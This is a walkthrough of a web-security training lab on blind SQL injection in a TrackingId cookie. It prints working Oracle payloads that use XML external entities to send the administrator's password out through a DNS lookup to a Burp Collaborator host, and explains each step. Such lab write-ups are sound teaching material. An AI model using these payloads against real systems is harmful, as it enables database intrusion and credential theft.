Blind SQL injection with out-of-band data exfiltration

This lab demonstrates a blind SQL injection vulnerability inside the application's TrackingId cookie.
The backend runs a SQL query containing the cookie value, but the query executes asynchronously, meaning:

• ❌ No visible errors
• ❌ No HTML differences
• ❌ No timing differences
• ✔ Only external network activity reveals what happened

Because of this, traditional SQLi techniques fail — making Out‑of‑Band (OAST) exploitation necessary.

🧠 What Is Out‑of‑Band (OAST) Data Exfiltration?

Normally SQL injection relies on visible feedback:

• Errors
• Different page content
• Delays
• Returned data

But in this lab:

• ❌ The SQL query runs silently
• ❌ The page never changes
• ❌ No timing or behavioral differences
• ✔ The database still performs network requests externally

This creates a side‑channel, where we extract data through DNS lookups or HTTP calls made by the database itself.

📌 Out‑of‑Band = communication “off to the side,” not through the web page.

Burp Collaborator receives those external requests — and we extract data from them.

🎯 Goal

The backend contains a table:

You must extract the administrator’s password using OAST SQLi, then log in.

🔍 Step 1 — Confirm the SQL Injection Vulnerability

We start by injecting an Oracle XXE‑based payload into the TrackingId cookie to see if we can trigger any out‑of‑band interaction.

Example test payload:

TrackingId=yuZ717dsmQef7qpH'SELECT EXTRACTVALUE(
xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com">
]>'),
'/l') FROM dual;

Then we move to a UNION‑based variant:

Cookie: TrackingId=yuZ717dsmQef7qpH'+UNION+SELECT+EXTRACTVALUE(
xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>
<!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/">+%25remote%3b]>'),
'/l')+FROM+dual--; session=tZaAc0DOojTekL8ksiwi77WnkymDYoPp

Example HTTP request in Burp:

If Burp Collaborator shows a DNS lookup for your domain, the SQL injection via the tracking cookie is confirmed.

🧪 Step 2 — Extract the Administrator Password

Next, we embed the result of a SQL query directly into the hostname of an XML External Entity.
This allows the password to be exfiltrated via a DNS lookup.

Final working payload:

TrackingId=yuZ717dsmQef7qpH'+UNION+SELECT+EXTRACTVALUE(
xmltype('<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://' ||
    (SELECT password FROM users WHERE username='administrator') ||
  '.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/">
  %remote;
]>'),
'/l')+FROM+dual--; session=tZaAc0DOojTekL8ksiwi77WnkymDYoPp

What this does:

1. Runs the subquery:
   sql Copy

   SELECT password FROM users WHERE username='administrator'

2. Concatenates the password into a URL:
   text Copy

   http://<PASSWORD>.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/

3. Defines an external entity %remote that points to that URL.
4. When the XML is parsed, Oracle resolves %remote, forcing a DNS lookup to that host.

🧬 Step‑by‑Step: What’s Actually Happening?

🟦 STEP 1 — SQL retrieves the password

SELECT password FROM users WHERE username='administrator'

Assume this returns:

zoizmg278wxm0nvnmedw

🟩 STEP 2 — Oracle builds an XML external entity using the password

<!ENTITY % remote SYSTEM 
  "http://zoizmg278wxm0nvnmedw.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/">

🟧 STEP 3 — XML parser tries to fetch the URL

To resolve %remote, the XML parser triggers a DNS lookup:

zoizmg278wxm0nvnmedw.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com

Your Burp Collaborator server logs this lookup.

🟥 STEP 4 — You read the password from the subdomain

Everything to the left of .abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com is the password:

zoizmg278wxm0nvnmedw

This is the exfiltrated value from the database.

📸 DNS Lookup Revealing the Password

Burp Collaborator shows an interaction like this, where the hostname contains the password as the first label:

From this single DNS lookup, you can read the administrator password directly.

🎉 Summary in 3 Lines

1. Your SQL payload forces Oracle to construct a URL that embeds the administrator password.
2. Oracle performs a DNS lookup for that URL when resolving the external XML entity.
3. Burp Collaborator logs the hostname — and the password appears as the left‑most subdomain.